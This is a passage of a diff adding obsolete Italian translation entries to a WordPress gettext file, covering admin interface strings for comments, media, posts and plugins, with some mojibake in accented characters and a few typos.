+#~ "time to actually import them all now!"
+#~ msgstr ""
+#~ "Perfetto, tutti i commenti sono stati nidificati. Manca solo un ultimo "
+#~ "passaggio -- Ãš ora tempo di importarli tutti!"
+#~ msgid ""
+#~ "This last part in particular can take a really long time if you have a "
+#~ "lot of comments. You might want to go and do something else while you "
+#~ "wait."
+#~ msgstr ""
+#~ "Questo ultimo passaggio in particolare puÃ² impiegare molto tempo nel caso "
+#~ "vi siano molti commenti. Nell'attesa conviene andare a farsi un giro e "
+#~ "fare altro."
+#~ msgid "Import my threaded comments into WordPress &raquo;"
+#~ msgstr "Importa i commenti personali nidificati in WordPress &raquo;"
+#~ msgid "Importing Comments"
+#~ msgstr "Importazione commenti"
+#~ msgid ""
+#~ "This is the big one -- we are now inserting your comment threads into "
+#~ "WordPress..."
+#~ msgstr ""
+#~ "Questa Ãš una cosa grossa -- stiamo per inserire i propri commenti "
+#~ "nidificati in WordPress..."
+#~ msgid "Importing cache file %d of %d"
+#~ msgstr "Importazione file di cache %d di %d"
+#~ msgid "Spam|verb"
+#~ msgstr "Spam|verb"
+#~ msgid "something"
+#~ msgstr "qualcosa"
+#~ msgid " on %4$s|feed_display"
+#~ msgstr " il %4$s|feed_display"
+#~ msgid "File|media column header"
+#~ msgstr "File|media column header"
+#~ msgid "Attached to|media column header"
+#~ msgstr "Allegato a|media column header"
+#~ msgid "Date|media column header"
+#~ msgstr "Data|media column header"
+#~ msgid ""
+#~ "&ndash;OR&ndash;|Between password field and private checkbox on post "
+#~ "quick edit interface"
+#~ msgstr ""
+#~ "&ndash; oppure &ndash;|Between password field and private checkbox on "
+#~ "post quick edit interface"
+#~ msgid ""
+#~ "%1$s%2$s, %3$s @ %4$s : %5$s|1: month input, 2: day input, 3: year input, "
+#~ "4: hour input, 5: minute input"
+#~ msgstr ""
+#~ "%2$s%1$s%3$s alle %4$s : %5$s|1: month input, 2: day input, 3: year "
+#~ "input, 4: hour input, 5: minute input"
+#~ msgid "Pending|post state"
+#~ msgstr "In attesa|post state"
+#~ msgid "%1$s: %2$s|1: widget name, 2: widget title"
+#~ msgstr "%1$s: %2$s|1: widget name, 2: widget title"
+#~ msgid "Add New|post"
+#~ msgstr "Aggiungi nuovo|post"
+#~ msgid "Add New|file"
+#~ msgstr "Aggiungi nuovo|file"
+#~ msgid "Add New|links"
+#~ msgstr "Aggiungi nuovo|links"
+#~ msgid "Add New|page"
+#~ msgstr "Aggiungi nuova|page"
+#~ msgid "Add New|plugin"
+#~ msgstr "Aggiungi nuovo|plugin"
+#~ msgid "%1$s %2$s by %3$s|1: theme title, 2: theme version, 3: theme author"
+#~ msgstr "%1$s %2$s di %3$s|1: theme title, 2: theme version, 3: theme author"
+#~ msgid "Media|media column header"
+#~ msgstr "Media"
+#~ msgid "Date Added|media column header"
+#~ msgstr "Aggiunto in data"
+#~ msgid "Header Image and Color"
+#~ msgstr "Immagine e colore della testata"
+#~ msgid ""
+#~ "Howdy! Upload your LiveJournal XML export file and we&#8217;ll import the "
+#~ "posts into this blog."
+#~ msgstr ""
+#~ "Salve! Carica il tuo fileXML di esportazione di LiveJournal e importeremo "
+#~ "gli articoli all&#8217;interno di questo blog."
+#~ msgid ""
+#~ "Choose a LiveJournal XML file to upload, then click Upload file and "
+#~ "import."
+#~ msgstr ""
+#~ "Selezionare un file XML di LiveJournal da caricare, quindi fare clic su "
+#~ "carica file ed importare."
+#~ msgid ""
+#~ "You are about to delete this category '%s'\n"
+#~ " 'Cancel' to stop, 'OK' to delete."
+#~ msgstr ""
+#~ "Si sta per cancellare questa categoria '%s'\n"
+#~ " 'Annulla' per interrompere, 'OK' per cancellare."
+#~ msgid ""
+#~ "You are about to delete this tag '%s'\n"
+#~ " 'Cancel' to stop, 'OK' to delete."
+#~ msgstr ""
+#~ "Si sta per cancellare questo tag '%s'\n"
+#~ " 'Annulla' per interrompere, 'OK' per cancellare."
+#~ msgid ""
+#~ "You are about to delete the selected categories.\n"
+#~ "  'Cancel' to stop, 'OK' to delete."
+#~ msgstr ""
+#~ "Si stanno per cancellare le categorie selezionate.\n"
+#~ " 'Annulla' per interrompere, 'OK' per cancellare."
+#~ msgid ""
+#~ "You are about to delete the selected comments.\n"
+#~ "  'Cancel' to stop, 'OK' to delete."
+#~ msgstr ""
+#~ "Si stanno per cancellare i commenti selezionati.\n"
+#~ " 'Annulla' per interrompere, 'OK' per cancellare."
+#~ msgid ""
+#~ "You are about to delete the selected link categories.\n"
+#~ "  'Cancel' to stop, 'OK' to delete."
+#~ msgstr ""
+#~ "Si sta per cancellare le categorie di link selezionate.\n"
+#~ " 'Annulla' per interrompere, 'OK' per cancellare."
+#~ msgid ""
+#~ "You are about to delete the selected pages.\n"
+#~ "  'Cancel' to stop, 'OK' to delete."
+#~ msgstr ""
+#~ "Si stanno per cancellare le pagine selezionate.\n"
+#~ " 'Annulla' per interrompere, 'OK' per cancellare."
+#~ msgid ""
+#~ "You are about to delete the selected posts.\n"
+#~ "  'Cancel' to stop, 'OK' to delete."
+#~ msgstr ""
+#~ "Si stano per cancellare gli articoli selezionati.\n"
+#~ " 'Annulla' per interrompere, 'OK' per cancellare."
+#~ msgid ""
+#~ "You are about to delete the selected links.\n"
+#~ "  'Cancel' to stop, 'OK' to delete."
+#~ msgstr ""
+#~ "Si sta per cancellare il link selezionato.'\n"
+#~ " 'Annulla' per interrompere, 'OK' per cancellare."
+#~ msgid ""
+#~ "You are about to delete the selected attachments.\n"
+#~ "  'Cancel' to stop, 'OK' to delete."
+#~ msgstr ""
+#~ "Si stanno per cancellare glil allegati selezionati\n"
+#~ " 'Annulla' per interrompere, 'OK' per cancellare."
+#~ msgid "Does not appear to be chunked encoded or body is malformed."
+#~ msgstr "Non sembra essere codificato in sezioni o il body Ãš malformato."
+#~ msgid "This web site is denied to use Gears."
+#~ msgstr "Questo sito web non ha il permesso di utilizzare Gears."
+#~ msgid "(%s)"
+#~ msgid_plural "(%s)"
+#~ msgstr[0] "(%s)"
+#~ msgstr[1] "(%s)"
+#~ msgid "Protected"
+#~ msgstr "Protetto"
+#~ msgid "Comment&uuml;s on: %s"
+#~ msgstr "Commento&uuml;s su: %s"
+#~ msgid ""
+#~ "The setting below determines where images, documents, and other media "
+#~ "files will be linked to when inserted into the body of a post."
+#~ msgstr ""
+#~ "L'impostazione seguente determina dove verranno linakate le immagini, i "
+#~ "documenti e gli altri file media quando vengono inseriti nel corpo di un "
+#~ "articolo."
+#~ msgid "Default media links"
+#~ msgstr "Link immagine predefinito"
+#~ msgid "Default image links"
+#~ msgstr "Link immagine predefinito"
+#~ msgid "Default image size"
+#~ msgstr "Dimensione immagine predefinita"
+#~ msgid "Auto"
+#~ msgstr "Auto"
+#~ msgid "Default image alignment"
+#~ msgstr "Allineamento immagine predefinito"
+#~ msgid "Subtle"
+#~ msgstr "Subtle"
+#~ msgid "Bulk Edit"
+#~ msgstr "Modifica di massa"
+#~ msgid "Folder allready exists."
+#~ msgstr "Cartella giÃ  esistente."
+#~ msgid "Tags|media column header"
+#~ msgstr "Tag"
+#~ msgid "&larr;"
+#~ msgstr "&larr;"
+#~ msgid "&rarr;"
+#~ msgstr "&rarr;"
+#~ msgid "View Drafts"
+#~ msgstr "Visualizza bozze"
+#~ msgid "Classic"
+#~ msgstr "Classico"
+#~ msgid "Fresh"
+#~ msgstr "Fresh"
+#~ msgid "View Draft Pages"
+#~ msgstr "Visualizza le pagine in bozza"
+#~ msgid "<a %s>Private</a> <span class=\"count\">(%s)</span>"
+#~ msgid_plural "<a %s>Private</a> <span class=\"count\">(%s)</span>"
+#~ msgstr[0] "<a %s>Privato</a> <span class=\"count\">(%s)</span>"
+#~ msgstr[1] "<a %s>Privati</a> <span class=\"count\">(%s)</span>"
+#~ msgid "Choose File"
+#~ msgstr "Seleziona file"
+#~ msgid "Upload an Image"
+#~ msgstr "Carica una immagine"
+#~ msgid "Upload Video"
+#~ msgstr "Carica video"
+#~ msgid "Upload Audio"
+#~ msgstr "Carica audio"
+#~ msgid "two"
+#~ msgstr "due"
+#~ msgid "four"
+#~ msgstr "quattro"
+#~ msgid "five"
+#~ msgstr "cinque"
+#~ msgid "six"
+#~ msgstr "sei"
+#~ msgid "seven"
+#~ msgstr "sette"
+#~ msgid "eight"
+#~ msgstr "otto"
+#~ msgid "nine"
+#~ msgstr "nove"
+#~ msgid "Limit the thumbnails width:"
+#~ msgstr "Limitare la larghezza della miniatura:"
+#~ msgid ""
+#~ "Overrides the thumbnail images width. The default can be changed from the "
+#~ "Media Settings page."
+#~ msgstr ""
+#~ "Ignora la larghezza immagine della miniatura. Il valore predefinito puÃ² "
+#~ "essere modificato nella pagina Impostazioni Media."
+#~ msgid "Write Post"
+#~ msgstr "Scrivi articolo"
+#~ msgid "Help on titles"
+#~ msgstr "Aiuto sui titoli"
+#~ msgid "Help on categories"
+#~ msgstr "Aiuto sulle categorie"
+#~ msgid "Help with post field"
+#~ msgstr "Aiuto sul campo articolo"
+#~ msgid ""
+#~ "<a href=\"%s\" title=\"Help on trackbacks\"><strong>TrackBack</strong> a "
+#~ "<abbr title=\"Universal Resource Locator\">URL</abbr></a>:</label> "
+#~ "(Separate multiple <abbr title=\"Universal Resource Locator\">URL</abbr>s "
+#~ "with spaces.)"
+#~ msgstr ""
+#~ "<a href=\"%s\" title=\"Aiuto sui trackbacks\">Invia un <strong>trackBack</"
+#~ "strong> verso un <abbr title=\"Universal Resource Locator\">URL</abbr></"
+#~ "a>:</label> (separa piÃ¹ <abbr title=\"Universal Resource Locator\">URL</"
+#~ "abbr> con degli spazi)<br />"
+#~ msgid "Save as Private"
+#~ msgstr "Salva come privato"
+#~ msgid "Advanced Editing"
+#~ msgstr "Modifiche avanzate"
+#~ msgid "Login"
+#~ msgstr "Login"
+#~ msgid "&raquo; Newer Comments"
+#~ msgstr "&laquo; Commenti successivi"
+#~ msgid "%i% pending"
+#~ msgstr "%i% in sospeso"
+#~ msgid "Recent Comments <a href=\"%s\">View all</a>"
+#~ msgstr "Commenti recenti <a href=\"%s\">Mostra tutti</a>"
+#~ msgid "Recent Drafts <a href=\"%s\">View all</a>"
+#~ msgstr "Bozze recenti <a href=\"%s\">Mostra tutte</a>"
+#~ msgid "Privacy Options"
+#~ msgstr "Opzioni privacy"
+#~ msgid "Trackbacks and Pings"
+#~ msgstr "Trackback e Ping"
+#~ msgid "Comments on this Post"
+#~ msgstr "Commenti a questo articolo."
+#~ msgid "Insert Media"
+#~ msgstr "Inserisci media"
+#~ msgid "Awaiting Moderation"
+#~ msgid_plural "Awaiting Moderation"
+#~ msgstr[0] "In attesa di moderazione"
+#~ msgstr[1] "In attesa di moderazione"
+#~ msgid ""
+#~ "You are about to delete this link '%s'\n"
+#~ "'Cancel' to stop, 'OK' to delete."
+#~ msgstr ""
+#~ "Si sta per cancellare questo link '%s'\n"
+#~ " 'Annulla' per interrompere, 'OK' per cancellare."
+#~ msgid "Delete&nbsp;link"
+#~ msgstr "Cancella&nbsp;link"
+#~ msgid "Comments &amp; Pings"
+#~ msgstr "Commenti &amp; Ping"
+#~ msgid "[Awaiting Moderation]"
+#~ msgstr "[In attesa di moderazione]"
+#~ msgid ""
+#~ "You are about to delete the selected link.\n"
+#~ "  'Cancel' to stop, 'OK' to delete."
+#~ msgstr ""
+#~ "Si sta per cancellare il link selezionato.\n"
+#~ " 'Annulla' per interrompere, 'OK' per cancellare."
+#~ msgid "Page saved."
+#~ msgstr "Pagina salvata."
+#~ msgid "Manage pages"
+#~ msgstr "Gestione pagine"
+#~ msgid "Add Photo"
+#~ msgstr "Aggiungi fotografia"
+#~ msgid ""
+#~ "You are about to delete the selected attachment.\n"
+#~ "  'Cancel' to stop, 'OK' to delete."
+#~ msgstr ""
+#~ "Si sta per cancellare l'allegato selezionato'\n"
+#~ " 'Annulla' per interrompere, 'OK' per cancellare."
+#~ msgid "Browse your files"
+#~ msgstr "Scorri i tuoi file"
+#~ msgid "Direct link to file"
+#~ msgstr "Link diretto al file"
+#~ msgid "Icon"
+#~ msgstr "Icona"
+#~ msgid "Show:"
+#~ msgstr "Visualizza:"
+#~ msgid "Link to:"
+#~ msgstr "Link a:"
+#~ msgid "Send to editor &raquo;"
+#~ msgstr "Invia all&#8217;editor &raquo;"
+#~ msgid "Save &raquo;"
+#~ msgstr "Salva &raquo;"
+#~ msgid ""
+#~ "Are you sure you want to delete the file '%title%'?\n"
+#~ "Click ok to delete or cancel to go back."
+#~ msgstr ""
+#~ "Sei sicuro di voler cancellare il file '%title%'?\n"
+#~ "Fai clic su ok per cancellare o su annulla per tornare indietro."
+#~ msgid "Approved|plural"
+#~ msgstr "Approvati"
+#~ msgid "Spam (%s)"
+#~ msgid_plural "Spam (%s)"
+#~ msgstr[0] "Spam (%s)"
+#~ msgstr[1] "Spam (%s)"
+#~ msgid "Show All Comments"
+#~ msgstr "Mostra tutti i commenti"
+#~ msgid "Related"
+#~ msgstr "Correlati"
+#~ msgid "Manage All Link Categories"
+#~ msgstr "Gestione di tutte le categorie link"
+#~ msgid "Published (%s)"
+#~ msgid_plural "Published (%s)"
+#~ msgstr[0] "Pubblicati (%s)"
+#~ msgstr[1] "Pubblicati (%s)"
+#~ msgid "Scheduled (%s)"
+#~ msgid_plural "Scheduled (%s)"
+#~ msgstr[0] "Programmati (%s)"
+#~ msgstr[1] "Programmati (%s)"
+#~ msgid "Pending Review (%s)"
+#~ msgid_plural "Pending Review (%s)"
+#~ msgstr[0] "In attesa di revisione (%s)"
+#~ msgstr[1] "In attesa di revisione (%s)"
+#~ msgid "Draft (%s)"
+#~ msgid_plural "Drafts (%s)"
+#~ msgstr[0] "Bozze (%s)"
+#~ msgstr[1] "Bozze (%s)"
+#~ msgid "Private (%s)"
+#~ msgid_plural "Private (%s)"
+#~ msgstr[0] "Privati (%s)"
+#~ msgstr[1] "Privati (%s)"
+#~ msgid "All Pages"
+#~ msgstr "Tutte le pagine"
+#~ msgid "All Posts"
+#~ msgstr "Tutti gli articoli"
+#~ msgid "View All Comments"
+#~ msgstr "Mostra tutti i commenti"
+#~ msgid "Yesterday"
+#~ msgstr "Ieri"
+#~ msgid "%1$s in response to %2$s:"
+#~ msgstr "%1$s in risposta a %2$s:"
+#~ msgid "(based on %d rating)"
+#~ msgid_plural "(based on %d ratings)"
+#~ msgstr[0] "(basato su %d valutazione)"
+#~ msgstr[1] "(basato su %d valutazioni)"
+#~ msgid "Parent Category"
+#~ msgstr "Categoria madre"
+#~ msgid "Timestamp"
+#~ msgstr "Orario"
+#~ msgid "Selected pages"
+#~ msgstr "Pagine selezionate"
+#~ msgid "Selected posts"
+#~ msgstr "Articoli selezionati"
+#~ msgid "(expand)"
+#~ msgstr "(espandi)"
+#~ msgid "(fold)"
+#~ msgstr "(collassa)"
+#~ msgid "Comments and Pings"
+#~ msgstr "Commenti e ping"
+#~ msgid "Disallow Comments"
+#~ msgstr "Disabilita i commenti"
+#~ msgid "Disallow Pings"
+#~ msgstr "Disabilita i ping"
+#~ msgid "or"
+#~ msgstr "oppure"
+#~ msgid "All Users"
+#~ msgstr "Tutti gli utenti"
+#~ msgid "Change post status"
+#~ msgstr "Cambia stato articolo"
+#~ msgid "Approval Status"
+#~ msgstr "Stato approvazione"
+#~ msgid "Delete comment"
+#~ msgstr "Cancella commento"
+#~ msgid "This comment is"
+#~ msgstr "Questo commento Ãš"
+#~ msgid "This page is"
+#~ msgstr "Questa pagine Ãš"
+#~ msgid "Change page status"
+#~ msgstr "Cambia stato pagina"
+#~ msgid "Delete&nbsp;page"
+#~ msgstr "Cancella pagina"
+#~ msgid "Theme %1$s with %2$s Widget"
+#~ msgid_plural "Theme %1$s with %2$s Widgets"
+#~ msgstr[0] "Thema %1$s con %2$s widget"
+#~ msgstr[1] "Thema %1$s con %2$s widget"
+#~ msgid "Hide Options"
+#~ msgstr "Nascondi opzioni"
+#~ msgid "This is WordPress version %s."
+#~ msgstr "Si sta utilizzando WordPress versione %s."
+#~ msgid "Add media: %s"
+#~ msgstr "Aggiungi media: %s"
+#~ msgid "Users Matching \"%2$s\" (<a href=\"%1$s\">Add New</a>)"
+#~ msgstr ""
+#~ "Utenti corrispondenti \"%2$s\" (<a href=\"%1$s\">Aaggiungi nuovo</a>)"
+#~ msgid "Hint: double-click on a row to open Quick Edit."
+#~ msgstr ""
+#~ "Suggerimento: fare un doppio clic su una riga per aprire l'editor rapido."
+#~ msgid "Delete&nbsp;post"
+#~ msgstr "Cancella&nbsp;articolo"
+#~ msgid "View this Post"
+#~ msgstr "Visualizza articolo"
+#~ msgid ""
+#~ "A new version of WordPress is available for upgrade.  Before upgrading, "
+#~ "please backup your blog.  Pressing the Backup button below will create a "
+#~ "backup of your blog and prompt you to save that backup to your computer.  "
+#~ "This sometimes takes a few minutes, so please be patient.  After the "
+#~ "backup finishes, continue below to upgrade your blog automatically or "
+#~ "manually."
+#~ msgstr ""
+#~ "&Egrave; disponibile una nuova versione di WordPress. Prima di "
+#~ "aggiornare, effettuare un backup del proprio blog. Prememdo il pulsante "
+#~ "Backup sottostante verrÃ  creato un backup del proprio blog ed apparirÃ  la "
+#~ "richiesta di salvarlo sul proprio computer. CiÃ² richesde solitamente "
+#~ "alcuni minuti, quindi siate pazienti. Una volta terminato il backup, "
+#~ "proseguire con l'aggiornamento del proprio blog, in maniera automatica o "
+#~ "manuale."
+#~ msgid "Backup"
+#~ msgstr "Backup"
+#~ msgid "Trackbacks"
+#~ msgstr "Trackbacks"
+#~ msgid "No media."
+#~ msgstr "Nessun media."
+#~ msgid "See Comments on this Post"
+#~ msgstr "Vedi commenti a questo articolo."
+#~ msgid "Manage All Comments"
+#~ msgstr "Gestione di tutti i commenti"
+#~ msgid "Manage All Categories"
+#~ msgstr "Gestione di tutte le categorie"
+#~ msgid "Manage All Tags"
+#~ msgstr "Gestione di tutti i tag"
+#~ msgid "Publish Status"
+#~ msgstr "Stato di pubblicazione"
+#~ msgid "See Comments on this Page"
+#~ msgstr "Vedi commenti su questa pagina"
+#~ msgid "Manage All Pages"
+#~ msgstr "Gestisci tutte le pagine"
+#~ msgid "View All Pages"
+#~ msgstr "Visualizza tutte le pagine"
+#~ msgid "View All Posts"
+#~ msgstr "Visualizza tutti gli articoli"
+#~ msgid "Inbox"
+#~ msgstr "Inbox"
+#~ msgid "Messages"
+#~ msgstr "Messaggi"
+#~ msgid "Archived"
+#~ msgstr "Archiviato"
+#~ msgid "Archive"
+#~ msgstr "Archivio"
+#~ msgid "Message"
+#~ msgstr "Messaggio"
+#~ msgid "From"
+#~ msgstr "Da"
+#~ msgid "%d comment awaiting moderation"
+#~ msgid_plural "%d comments awaiting moderation"
+#~ msgstr[0] "%d commento in attesa di moderazione"
+#~ msgstr[1] "%d commenti in attesa di moderazione"
+#~ msgid "View All Drafts"
+#~ msgstr "Visualizza tutte le bozze"
+#~ msgid "Primary Feed"
+#~ msgstr "Feed principale"
+#~ msgid "Secondary Feed"
+#~ msgstr "Feed secondario"
+#~ msgid "rss icon"
+#~ msgstr "icona rss"
+#~ msgid "Save and Continue"
+#~ msgstr "Salva e continua"
+#~ msgid "(no-title)"
+#~ msgstr "(senza titolo)"
+#~ msgid "based on %d ratings"
+#~ msgstr "basato su %d valutazioni"
+#~ msgid "Plugin Install &#8212; WordPress"
+#~ msgstr "Installazione plugin &#8212; WordPress"
+#~ msgid "Dismiss Dialog"
+#~ msgstr "Rilascio la finestra di dialogo"
+#~ msgid "Appears with|media column header"
+#~ msgstr "Appare con"
+#~ msgid "Double-click to cancel"
+#~ msgstr "Doppio clic per cancellare"
+#~ msgid " &#8212; <strong>Private</strong>"
+#~ msgstr " &#8212; <strong>Privato</strong>"
+#~ msgid ""
+#~ "You are about to delete this user '%s'\n"
+#~ " 'Cancel' to stop, 'OK' to delete."
+#~ msgstr ""
+#~ "Si sta per cancellare questo utente '%s'\n"
+#~ " 'Annulla' per interrompere, 'OK' per cancellare."
+#~ msgid "Comment Reply Error"
+#~ msgstr "Errore nella replica ad un commento"
+#~ msgid "Manage Links"
+#~ msgstr "Gestione link"
+#~ msgid "Moderate"
+#~ msgstr "Moderazione"
+#~ msgid "http://codex.wordpress.org/"
+#~ msgstr "http://codex.wordpress.org/"
+#~ msgid "Forums"
+#~ msgstr "Forum"
+#~ msgid "http://wordpress.org/support/"
+#~ msgstr "http://www.wordpress.it.it/forum/"
+#~ msgid "Feedback"
+#~ msgstr "Feedback"
+#~ msgid "http://wordpress.org/support/forum/4"
+#~ msgstr "http://wordpress.org/support/forum/4"
+#~ msgid "%s days"
+#~ msgstr "%s giorni"
+#~ msgid "Group replies into threads"
+#~ msgstr "Raggruppare le repliche in thread"
+#~ msgid "%s levels deep"
+#~ msgstr "%s livelli di profonditÃ "
+#~ msgid "Output:"
+#~ msgstr "Esempio:"
+#~ msgid "Featured Plugins"
+#~ msgstr "Plugin in vetrina"
+#~ msgid "Popular Plugins"
+#~ msgstr "Plugin popolari"
+#~ msgid "Recently Updated Plugins"
+#~ msgstr "Plugin aggiornati di recente"
+#~ msgid "Theme Editor"
+#~ msgstr "Editor temi"
+#~ msgid "Double-click to edit"
+#~ msgstr "Doppio click per modificare"
+#~ msgid "<a href=\"http://codex.wordpress.org/\">Help</a>"
+#~ msgstr ""
+#~ "<a href=\"http://www.wordpress-it.it/wiki/\" title=\"Documentazione, faq "
+#~ "ed altro...\">Aiuto</a> (<a href=\"http://codex.wordpress.org/\" title="
+#~ "\"Documentazione in inglese\">En</a>)"
+#~ msgid "Advanced Options"
+#~ msgstr "Opzioni avanzate"
+#~ msgid "Categories (<a href=\"%s\">Add New</a>)"
+#~ msgstr "Categorie (<a href=\"%s\">Aggiungi nuova</a>)"
+#~ msgid "Manage Tags"
+#~ msgstr "Gestione tag"
+#~ msgid "<a href=\"%s\">Posts</a> / Write New Post"
+#~ msgstr "<a href=\"%s\">Articoli</a> / Scrivi nuovo articolo"
+#~ msgid "<a href=\"%s\">Posts</a> / Edit Post"
+#~ msgstr "<a href=\"%s\">Articoli</a> / Modifica articolo"
+#~ msgid "<a href=\"%s\">Pages</a> / Write New Page"
+#~ msgstr "<a href=\"%s\">Pagine</a> / Scrivere nuova pagina"
+#~ msgid "<a href=\"%s\">Pages</a> / Edit Page"
+#~ msgstr "<a href=\"%s\">Pagine</a> / Modifica pagina"
+#~ msgid ""
+#~ "%1$s%2$s%3$s (<a href=\"%4$s\">Add New</a>)|You can reorder these: 1: "
+#~ "Pages, 2: by {s}, 3: matching {s}"
+#~ msgstr ""
+#~ "%1$s%2$s%3$s (<a href=\"%4$s\">Aggiungi nuova</a>)|You can reorder these: "
+#~ "1: Pages, 2: by {s}, 3: matching {s}"
+#~ msgid "Tags (<a href=\"%s\">Add New</a>)"
+#~ msgstr "Tag (<a href=\"%s\">Aggiungi nuovo</a>)"
+#~ msgid "Posts|manage posts header"
+#~ msgstr "Articoli|manage posts header"
+#~ msgid "by other authors"
+#~ msgstr "di altri autori"
+#~ msgid "during %s"
+#~ msgstr "del %s"
+#~ msgid ""
+#~ "%1$s%2$s%3$s%4$s%5$s%6$s (<a href=\"%7$s\">Add New</a>)|You can reorder "
+#~ "these: 1: Posts, 2: by {s}, 3: matching {s}, 4: in {s}, 5: tagged with "
+#~ "{s}, 6: during {s}"
+#~ msgstr ""
+#~ "%1$s%2$s%3$s%4$s%5$s%6$s (<a href=\"%7$s\">Aggiungi nuovo</a>)|You can "
+#~ "reorder these: 1: Posts, 2: by {s}, 3: matching {s}, 4: in {s}, 5: tagged "
+#~ "with {s}, 6: during {s}"
+#~ msgid " item archived"
+#~ msgstr " elemento archiviato"
+#~ msgid " items archived"
+#~ msgstr " elementi archiviati"
+#~ msgid "Links (<a href=\"%s\">Add New</a>)"
+#~ msgstr "Link (<a href=\"%s\">Aggiungi nuovo</a>)"
+#~ msgid "Write New Post"
+#~ msgstr "Scrivi un nuovo articolo"
+#~ msgid "My Account"
+#~ msgstr "Il mio account"
+#~ msgid "My Dashboard"
+#~ msgstr "Bacheca"
+#~ msgid "Comments (%s)"
+#~ msgstr "Commenti (%s)"
+#~ msgid "Directory"
+#~ msgstr "Directory"
+#~ msgid "Utilities"
+#~ msgstr "UtilitÃ "
+#~ msgid "Plugin Editor"
+#~ msgstr "Editor plugin"
+#~ msgid "Customize Permalink Structure"
+#~ msgstr "Modifica la struttura dei permalink"
+#~ msgid "Plugin Management"
+#~ msgstr "Gestione plugin"
+#~ msgid "Create New Post"
+#~ msgstr "Crea un nuovo articolo"
+#~ msgid "Added %1$s attachment to <strong>%2$s</strong>"
+#~ msgid_plural "Added %1$s attachments to <strong>%2$s</strong>"
+#~ msgstr[0] "Aggiunto %1$s allegato a <strong>%2$s</strong>"
+#~ msgstr[1] "Aggiunti %1$s allegati a <strong>%2$s</strong>"
+#~ msgid "Unattached Media"
+#~ msgstr "Media non allegato"
+#~ msgid "Media|manage media header"
+#~ msgstr "Gestione media|manage posts header"
+#~ msgid ""
+#~ "%1$s%2$s%3$s%4$s%5$s%6$s (<a href=\"%7$s\" class=\"thickbox\">Add New</"
+#~ "a>)|You can reorder these: 1: Posts, 2: by {s}, 3: matching {s}, 4: in "
+#~ "{s}, 5: tagged with {s}, 6: during {s}"
+#~ msgstr ""
+#~ "%1$s%2$s%3$s%4$s%5$s%6$s (<a href=\"%7$s\" class=\"thickbox\">Aggiungi "
+#~ "nuovo</a>)|You can reorder these: 1: Posts, 2: by {s}, 3: matching {s}, "
+#~ "4: in {s}, 5: tagged with {s}, 6: during {s}"
+#~ msgid "Your media has been saved."
+#~ msgstr "Il media Ãš stato salvato."
+#~ msgid "Edit media"
+#~ msgstr "Modifica media"
+#~ msgid "Media updated."
+#~ msgstr "Media aggiornato."
+#~ msgid "Your Profile and Personal Options"
+#~ msgstr "Profilo ed opzioni personali"
+#~ msgid "Search Widgets"
+#~ msgstr "Cerca widget"
+#~ msgid "Media added to this Post"
+#~ msgstr "Media per questo articolo"
+#~ msgid "Visit:"
+#~ msgstr "Visita:"
+#~ msgid "Save and Continue Editing"
+#~ msgstr "Salva e continua"
+#~ msgid "Show Settings"
+#~ msgstr "Visualizza impostazioni"
+#~ msgid "Hide Settings"
+#~ msgstr "Nascondi impostazioni"
+#~ msgid ""
+#~ "To enable it, ensure this web site is not on the denied list in Gears "
+#~ "Settings under the Safari menu, then click the button below."
+#~ msgstr ""
+#~ "Per abilitarlo, assicurarsi che questo sito web non sia presente nella "
+#~ "lista di siti vietati in Gears Settings nel menu di Safari, quindi fare "
+#~ "clic sul pulsante sottostante."
+#~ msgid "Username:"
+#~ msgstr "Nome utente:"
+#~ msgid "Use SSL:"
+#~ msgstr "Utilizza SSL:"
+#~ msgid "WordPress &#8250; Posted"
+#~ msgstr "WordPress &#8250; Pubblicato"
+#~ msgid "Posted !"
+#~ msgstr "Pubblicato!"
+#~ msgid "<a href=\"%s\">Click here</a> to post again."
+#~ msgstr "<a href=\"%s\">Fare clic qui</a> per pubblicare nuovamente."
+#~ msgid "WordPress &#8250; Sidebar"
+#~ msgstr "WordPress &#8250; Barra laterale"
+#~ msgid "Previous %s"
+#~ msgstr "Precedente %s"
+#~ msgid "Latest %s"
+#~ msgstr "Ultimo %s"
+#~ msgid "See&nbsp;All"
+#~ msgstr "Visualizza&nbsp;tutto"
+#~ msgid "Too short"
+#~ msgstr "Troppo breve"
+#~ msgid ""
+#~ "Hint: Use upper and lower case characters, numbers and symbols like !\"?$%"
+#~ "^&amp;( in your password."
+#~ msgstr ""
+#~ "Suggerimento: utilizzare nella propria password caratteri maiuscoli, "
+#~ "minuscoli, numeri e simboli tipo !\"?$%^&(."
+#~ msgid "Bad"
+#~ msgstr "Cattiva"
+#~ msgid "Good"
+#~ msgstr "Buona"
+#~ msgid "Manage Categories"
+#~ msgstr "Gestione categorie"
+#~ msgid "Manage Link Categories"
+#~ msgstr "Gestione categorie link"
+#~ msgid "Write Page"
+#~ msgstr "Scrivi pagina"
+#~ msgid "Manage Pages"
+#~ msgstr "Gestione pagine"
+#~ msgid "Description|media column header"
+#~ msgstr "Descrizione"
+#~ msgid "Location|media column header"
+#~ msgstr "Posizione"
+#~ msgid "Write a New Page"
+#~ msgstr "Scrivi una nuova pagina"
+#~ msgid "%s draft"
+#~ msgid_plural "%s drafts"
+#~ msgstr[0] "%s bozza"
+#~ msgstr[1] "%s bozze"
+#~ msgid "There is <a href=\"%1$s\">%2$s post</a> pending your review."
+#~ msgid_plural ""
+#~ "There are <a href=\"%1$s\">%2$s posts</a> pending your review."
+#~ msgstr[0] ""
+#~ "Inoltre <a href=\"%1$s\">%2$s articolo</a> Ãš in attesa di revisione."
+#~ msgstr[1] ""
+#~ "Inoltre <a href=\"%1$s\">%2$s articoli</a> sono in attesa di revisione."
+#~ msgid "%s category"
+#~ msgid_plural "%s categories"
+#~ msgstr[0] "%s categoria"
+#~ msgstr[1] "%s categorie"
+#~ msgid "%s tag"
+#~ msgid_plural "%s tags"
+#~ msgstr[0] "%s tag"
+#~ msgstr[1] "%s tag"
+#~ msgid "%1$s total"
+#~ msgid_plural "%1$s total"
+#~ msgstr[0] "%1$s"
+#~ msgstr[1] "%1$s"
+#~ msgid "%1$s approved"
+#~ msgid_plural "%1$s approved"
+#~ msgstr[0] "%1$s approvato"
+#~ msgstr[1] "%1$s approvati"
+#~ msgid "%1$s spam"
+#~ msgid_plural "%1$s spam"
+#~ msgstr[0] "%1$s di spam"
+#~ msgstr[1] "%1$s di spam"
+#~ msgid "%1$s awaiting moderation"
+#~ msgid_plural "%1$s awaiting moderation"
+#~ msgstr[0] "%1$s in attesa di moderazione"
+#~ msgstr[1] "%1$s in attesa di moderazione"
+#~ msgid "You have %1$s comment, %2$s, %3$s and %4$s."
+#~ msgid_plural "You have %1$s comments, %2$s, %3$s and %4$s."
